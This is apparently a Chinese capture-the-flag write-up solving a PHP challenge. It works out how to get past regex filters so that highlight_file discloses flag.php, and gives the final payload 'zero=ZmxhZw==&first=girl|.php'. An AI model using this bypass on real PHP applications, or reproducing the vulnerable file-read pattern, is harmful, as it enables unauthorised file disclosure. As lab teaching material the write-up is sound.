难得开靶场所需要的金币,比完成题目给的少
题目源码
<?php error_reporting(0); $zero=$_REQUEST['zero']; $first=$_REQUEST['first']; $second=$zero.$first; if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){ $key=$second; if(preg_match("/\.\.|flag/",$key)){ die("Noooood hacker!"); }else{ $third=$first; if(preg_match("/\\|\056\160\150\x70/i",$third)){ $end=substr($third,5); highlight_file(base64_decode($zero).$end);//maybe flag in flag.php } } } else{ highlight_file(__FILE__); }
看题可知,需要成功匹配preg_match_all,以及第二个preg_match,绕过第一个preg_match.
补充
preg_match_all(),preg_match()两个函数匹配失败返回False
成功则返回匹配的次数
最后匹配成功会对输入的first将前5个字符截断,并且对zero,base64解码.
用这个网站(https://regexr-cn.com/)来分析正则表达式
第一个匹配绕过简单,第二个将起输入到上面的网站中知道是\或者.php符合其中之一即可
尝试写payload,post上传,zero=ZmxhZw==&first=Yeedo.php
尝试了好几次不行
打开phpStorm
<?php $php=".php"; if(preg_match("/\\|.php/i",$php)){ print("yes"); } ?>
输出为空?????
发现\\|变成同样颜色了,难道|被转义了?
<?php $php="|.php"; if(preg_match("/\\|.php/i",$php)){ print("yes"); } ?>
在.php加上|
输出为yes,,,彻底懵了
改写payload,,zero=ZmxhZw==&first=girl|.php
成功输出flag
去百度找到的解释是
执行php语法转义 \\ => \,剩下 \|.php
执行正则语法转义 \| => |,剩下 |.php